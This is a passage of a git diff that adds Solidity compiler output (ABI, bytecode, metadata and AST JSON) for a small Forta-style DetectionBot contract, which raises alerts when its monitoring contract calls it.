;224:31:155;;214:42;;204:70;;270:1;267;260:12;204:70;293:5;14:290;-1:-1:-1;;;14:290:155:o;:::-;371:432:41;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610034575f3560e01c8063220ab6aa14610038578063f11476bc1461004d575b5f80fd5b61004b610046366004610169565b61007b565b005b5f5461005f906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b5f546001600160a01b031633146100f2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e617574686f72697a65640000000000000000000000000000000000000000604482015260640160405180910390fd5b5f546040517f087a43c10000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529091169063087a43c1906024015f604051808303815f87803b15801561014e575f80fd5b505af1158015610160573d5f803e3d5ffd5b50505050505050565b5f805f6040848603121561017b575f80fd5b83356001600160a01b0381168114610191575f80fd5b9250602084013567ffffffffffffffff808211156101ad575f80fd5b818601915086601f8301126101c0575f80fd5b8135818111156101ce575f80fd5b8760208285010111156101df575f80fd5b602083019450809350505050925092509256fea2646970667358221220e197111a722357f1cdb93cc1c19c940ae81ed166792fd9e6567f3f624a23e80c64736f6c63430008180033","sourceMap":"371:432:41:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;529:272;;;;;;:::i;:::-;;:::i;:::-;;416:27;;;;;-1:-1:-1;;;;;416:27:41;;;;;;-1:-1:-1;;;;;987:55:155;;;969:74;;957:2;942:18;416:27:41;;;;;;;529:272;706:13;;-1:-1:-1;;;;;706:13:41;684:10;:36;676:61;;;;;;;1256:2:155;676:61:41;;;1238:21:155;1295:2;1275:18;;;1268:30;1334:14;1314:18;;;1307:42;1366:18;;676:61:41;;;;;;;;747:13;;:30;;;;;-1:-1:-1;;;;;987:55:155;;;747:30:41;;;969:74:155;747:13:41;;;;:24;;942:18:155;;747:30:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;529:272;;;:::o;14:788:155:-;93:6;101;109;162:2;150:9;141:7;137:23;133:32;130:52;;;178:1;175;168:12;130:52;217:9;204:23;-1:-1:-1;;;;;260:5:155;256:54;249:5;246:65;236:93;;325:1;322;315:12;236:93;348:5;-1:-1:-1;404:2:155;389:18;;376:32;427:18;457:14;;;454:34;;;484:1;481;474:12;454:34;522:6;511:9;507:22;497:32;;567:7;560:4;556:2;552:13;548:27;538:55;;589:1;586;579:12;538:55;629:2;616:16;655:2;647:6;644:14;641:34;;;671:1;668;661:12;641:34;716:7;711:2;702:6;698:2;694:15;690:24;687:37;684:57;;;737:1;734;727:12;684:57;768:2;764;760:11;750:21;;790:6;780:16;;;;;14:788;;;;;:::o","linkReferences":{}},"methodIdentifiers":{"fortaContract()":"f11476bc","handleTransaction(address,bytes)":"220ab6aa"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"forta\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"fortaContract\",\"outputs\":[{\"internalType\":\"contract IForta\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"user\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"msgData\",\"type\":\"bytes\"}],\"name\":\"handleTransaction\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/DetectionBot.sol\":\"DetectionBot\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/DetectionBot.sol\":{\"keccak256\":\"0x29b96534de1831d28a5f7ee010ab542cac0a70b901550202c0191739ae2dcb75\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://38b60ee52ef3db90f0c53a404a57af243f9de3db58a6539000d3453bcf678665\",\"dweb:/ipfs/QmbFn3HdcfKAPCcUfbzEwB7REu4Lh1CqyW82BD9a5Pg1yN\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"forta","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"stateMutability":"view","type":"function","name":"fortaContract","outputs":[{"internalType":"contract IForta","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bytes","name":"msgData","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"handleTransaction"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/DetectionBot.sol":"DetectionBot"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/DetectionBot.sol":{"keccak256":"0x29b96534de1831d28a5f7ee010ab542cac0a70b901550202c0191739ae2dcb75","urls":["bzz-raw://38b60ee52ef3db90f0c53a404a57af243f9de3db58a6539000d3453bcf678665","dweb:/ipfs/QmbFn3HdcfKAPCcUfbzEwB7REu4Lh1CqyW82BD9a5Pg1yN"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/DetectionBot.sol","id":49249,"exportedSymbols":{"DetectionBot":[49248],"IDetectionBot":[49184],"IForta":[49202]},"nodeType":"SourceUnit","src":"32:772:41","nodes":[{"id":49176,"nodeType":"PragmaDirective","src":"32:23:41","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49184,"nodeType":"ContractDefinition","src":"57:106:41","nodes":[{"id":49183,"nodeType":"FunctionDefinition","src":"87:74:41","nodes":[],"functionSelector":"220ab6aa","implemented":false,"kind":"function","modifiers":[],"name":"handleTransaction","nameLocation":"96:17:41","parameters":{"id":49181,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49178,"mutability":"mutable","name":"user","nameLocation":"122:4:41","nodeType":"VariableDeclaration","scope":49183,"src":"114:12:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49177,"name":"address","nodeType":"ElementaryTypeName","src":"114:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":49180,"mutability":"mutable","name":"msgData","nameLocation":"143:7:41","nodeType":"VariableDeclaration","scope":49183,"src":"128:22:41","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":49179,"name":"bytes","nodeType":"ElementaryTypeName","src":"128:5:41","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"113:38:41"},"returnParameters":{"id":49182,"nodeType":"ParameterList","parameters":[],"src":"160:0:41"},"scope":49184,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IDetectionBot","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[49184],"name":"IDetectionBot","nameLocation":"67:13:41","scope":49249,"usedErrors":[],"usedEvents":[]},{"id":49202,"nodeType":"ContractDefinition","src":"165:204:41","nodes":[{"id":49189,"nodeType":"FunctionDefinition","src":"188:63:41","nodes":[],"functionSelector":"9e927c68","implemented":false,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"197:15:41","parameters":{"id":49187,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49186,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"221:19:41","nodeType":"VariableDeclaration","scope":49189,"src":"213:27:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49185,"name":"address","nodeType":"ElementaryTypeName","src":"213:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"212:29:41"},"returnParameters":{"id":49188,"nodeType":"ParameterList","parameters":[],"src":"250:0:41"},"scope":49202,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":49196,"nodeType":"FunctionDefinition","src":"256:63:41","nodes":[],"functionSelector":"fa1fd28c","implemented":false,"kind":"function","modifiers":[],"name":"notify","nameLocation":"265:6:41","parameters":{"id":49194,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49191,"mutability":"mutable","name":"user","nameLocation":"280:4:41","nodeType":"VariableDeclaration","scope":49196,"src":"272:12:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49190,"name":"address","nodeType":"ElementaryTypeName","src":"272:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":49193,"mutability":"mutable","name":"msgData","nameLocation":"301:7:41","nodeType":"VariableDeclaration","scope":49196,"src":"286:22:41","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":49192,"name":"bytes","nodeType":"ElementaryTypeName","src":"286:5:41","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"271:38:41"},"returnParameters":{"id":49195,"nodeType":"ParameterList","parameters":[],"src":"318:0:41"},"scope":49202,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":49201,"nodeType":"FunctionDefinition","src":"324:43:41","nodes":[],"functionSelector":"087a43c1","implemented":false,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"333:10:41","parameters":{"id":49199,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49198,"mutability":"mutable","name":"user","nameLocation":"352:4:41","nodeType":"VariableDeclaration","scope":49201,"src":"344:12:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49197,"name":"address","nodeType":"ElementaryTypeName","src":"344:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"343:14:41"},"returnParameters":{"id":49200,"nodeType":"ParameterList","parameters":[],"src":"366:0:41"},"scope":49202,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IForta","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[49202],"name":"IForta","nameLocation":"175:6:41","scope":49249,"usedErrors":[],"usedEvents":[]},{"id":49248,"nodeType":"ContractDefinition","src":"371:432:41","nodes":[{"id":49207,"nodeType":"VariableDeclaration","src":"416:27:41","nodes":[],"constant":false,"functionSelector":"f11476bc","mutability":"mutable","name":"fortaContract","nameLocation":"430:13:41","scope":49248,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"},"typeName":{"id":49206,"nodeType":"UserDefinedTypeName","pathNode":{"id":49205,"name":"IForta","nameLocations":["416:6:41"],"nodeType":"IdentifierPath","referencedDeclaration":49202,"src":"416:6:41"},"referencedDeclaration":49202,"src":"416:6:41","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}},"visibility":"public"},{"id":49219,"nodeType":"FunctionDefinition","src":"450:73:41","nodes":[],"body":{"id":49218,"nodeType":"Block","src":"477:46:41","nodes":[],"statements":[{"expression":{"id":49216,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49212,"name":"fortaContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49207,"src":"487:13:41","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":49214,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49209,"src":"510:5:41","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49213,"name":"IForta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49202,"src":"503:6:41","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IForta_$49202_$","typeString":"type(contract IForta)"}},"id":49215,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"503:13:41","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}},"src":"487:29:41","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}},"id":49217,"nodeType":"ExpressionStatement","src":"487:29:41"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49210,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49209,"mutability":"mutable","name":"forta","nameLocation":"470:5:41","nodeType":"VariableDeclaration","scope":49219,"src":"462:13:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49208,"name":"address","nodeType":"ElementaryTypeName","src":"462:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"461:15:41"},"returnParameters":{"id":49211,"nodeType":"ParameterList","parameters":[],"src":"477:0:41"},"scope":49248,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":49247,"nodeType":"FunctionDefinition","src":"529:272:41","nodes":[],"body":{"id":49246,"nodeType":"Block","src":"610:191:41","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":49234,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":49228,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"684:3:41","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49229,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"688:6:41","memberName":"sender","nodeType":"MemberAccess","src":"684:10:41","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"id":49232,"name":"fortaContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49207,"src":"706:13:41","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}],"id":49231,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"698:7:41","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49230,"name":"address","nodeType":"ElementaryTypeName","src":"698:7:41","typeDescriptions":{}}},"id":49233,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"698:22:41","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"684:36:41","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"556e617574686f72697a6564","id":49235,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"722:14:41","typeDescriptions":{"typeIdentifier":"t_stringliteral_1b2638459828301e8cd6c7c02856073bacf975379e0867f689bb14feacb780c5","typeString":"literal_string \"Unauthorized\""},"value":"Unauthorized"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_1b2638459828301e8cd6c7c02856073bacf975379e0867f689bb14feacb780c5","typeString":"literal_string \"Unauthorized\""}],"id":49227,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"676:7:41","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":49236,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"676:61:41","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49237,"nodeType":"ExpressionStatement","src":"676:61:41"},{"expression":{"arguments":[{"id":49241,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49221,"src":"772:4:41","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49238,"name":"fortaContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49207,"src":"747:13:41","typeDescriptions":{"typeIdentifier":"t_contract$_IForta_$49202","typeString":"contract IForta"}},"id":49240,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"761:10:41","memberName":"raiseAlert","nodeType":"MemberAccess","referencedDeclaration":49201,"src":"747:24:41","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":49242,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"747:30:41","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49243,"nodeType":"ExpressionStatement","src":"747:30:41"},{"expression":{"id":49244,"name":"msgData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49223,"src":"787:7:41","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}},"id":49245,"nodeType":"ExpressionStatement","src":"787:7:41"}]},"baseFunctions":[49183],"functionSelector":"220ab6aa","implemented":true,"kind":"function","modifiers":[],"name":"handleTransaction","nameLocation":"538:17:41","overrides":{"id":49225,"nodeType":"OverrideSpecifier","overrides":[],"src":"601:8:41"},"parameters":{"id":49224,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49221,"mutability":"mutable","name":"user","nameLocation":"564:4:41","nodeType":"VariableDeclaration","scope":49247,"src":"556:12:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49220,"name":"address","nodeType":"ElementaryTypeName","src":"556:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":49223,"mutability":"mutable","name":"msgData","nameLocation":"585:7:41","nodeType":"VariableDeclaration","scope":49247,"src":"570:22:41","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":49222,"name":"bytes","nodeType":"ElementaryTypeName","src":"570:5:41","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"555:38:41"},"returnParameters":{"id":49226,"nodeType":"ParameterList","parameters":[],"src":"610:0:41"},"scope":49248,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":49203,"name":"IDetectionBot","nameLocations":["396:13:41"],"nodeType":"IdentifierPath","referencedDeclaration":49184,"src":"396:13:41"},"id":49204,"nodeType":"InheritanceSpecifier","src":"396:13:41"}],"canonicalName":"DetectionBot","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49248,49184],"name":"DetectionBot","nameLocation":"380:12:41","scope":49249,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":41} \ No newline at end of file diff --git a/contracts/out/DetectionBot.sol/IDetectionBot.json b/contracts/out/DetectionBot.sol/IDetectionBot.json new file mode 100644 index 000000000..3bbb90676 --- /dev/null +++ b/contracts/out/DetectionBot.sol/IDetectionBot.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"handleTransaction","inputs":[{"name":"user","type":"address","internalType":"address"},{"name":"msgData","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"handleTransaction(address,bytes)":"220ab6aa"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"user\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"msgData\",\"type\":\"bytes\"}],\"name\":\"handleTransaction\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/DetectionBot.sol\":\"IDetectionBot\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/DetectionBot.sol\":{\"keccak256\":\"0x29b96534de1831d28a5f7ee010ab542cac0a70b901550202c0191739ae2dcb75\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://38b60ee52ef3db90f0c53a404a57af243f9de3db58a6539000d3453bcf678665\",\"dweb:/ipfs/QmbFn3HdcfKAPCcUfbzEwB7REu4Lh1CqyW82BD9a5Pg1yN\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bytes","name":"msgData","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"handleTransaction"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/DetectionBot.sol":"IDetectionBot"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/DetectionBot.sol":{"keccak256":"0x29b96534de1831d28a5f7ee010ab542cac0a70b901550202c0191739ae2dcb75","urls":["bzz-raw://38b60ee52ef3db90f0c53a404a57af243f9de3db58a6539000d3453bcf678665","dweb:/ipfs/QmbFn3HdcfKAPCcUfbzEwB7REu4Lh1CqyW82BD9a5Pg1yN"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/DetectionBot.sol","id":49249,"exportedSymbols":{"DetectionBot":[49248],"IDetectionBot":[49184],"IForta":[49202]},"nodeType":"SourceUnit","src":"32:772:41","nodes":[{"id":49176,"nodeType":"PragmaDirective","src":"32:23:41","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49184,"nodeType":"ContractDefinition","src":"57:106:41","nodes":[{"id":49183,"nodeType":"FunctionDefinition","src":"87:74:41","nodes":[],"functionSelector":"220ab6aa","implemented":false,"kind":"function","modifiers":[],"name":"handleTransaction","nameLocation":"96:17:41","parameters":{"id":49181,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49178,"mutability":"mutable","name":"user","nameLocation":"122:4:41","nodeType":"VariableDeclaration","scope":49183,"src":"114:12:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49177,"name":"address","nodeType":"ElementaryTypeName","src":"114:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":49180,"mutability":"mutable","name":"msgData","nameLocation":"143:7:41","nodeType":"VariableDeclaration","scope":49183,"src":"128:22:41","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":49179,"name":"bytes","nodeType":"ElementaryTypeName","src":"128:5:41","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"113:38:41"},"returnParameters":{"id":49182,"nodeType":"ParameterList","parameters":[],"src":"160:0:41"},"scope":49184,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IDetectionBot","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[49184],"name":"IDetectionBot","nameLocation":"67:13:41","scope":49249,"usedErrors":[],"usedEvents":[]},{"id":49202,"nodeType":"ContractDefinition","src":"165:204:41","nodes":[{"id":49189,"nodeType":"FunctionDefinition","src":"188:63:41","nodes":[],"functionSelector":"9e927c68","implemented":false,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"197:15:41","parameters":{"id":49187,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49186,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"221:19:41","nodeType":"VariableDeclaration","scope":49189,"src":"213:27:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49185,"name":"address","nodeType":"ElementaryTypeName","src":"213:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"212:29:41"},"returnParameters":{"id":49188,"nodeType":"ParameterList","parameters":[],"src":"250:0:41"},"scope":49202,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":49196,"nodeType":"FunctionDefinition","src":"256:63:41","nodes":[],"functionSelector":"fa1fd28c","implemented":false,"kind":"function","modifiers":[],"name":"notify","nameLocation":"265:6:41","parameters":{"id":49194,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49191,"mutability":"mutable","name":"user","nameLocation":"280:4:41","nodeType":"VariableDeclaration","scope":49196,"src":"272:12:41","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49190,"name":"address","nodeType":"ElementaryTypeName","src":"272:7:41","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":49193,"mutability":"mutable","name":"msgData","nameLocation":"301:7:41","nodeType":"VariableDeclaration","scope":49196,"src":"286:22:41","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":49192,"name":"bytes","nodeType":"ElementaryTypeName","src":"286:5:41","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"271:38:41"},"returnParameters":{"id":49195,"nodeType":"ParameterList","parameters":[],"src":"318:0:41"},"scope":49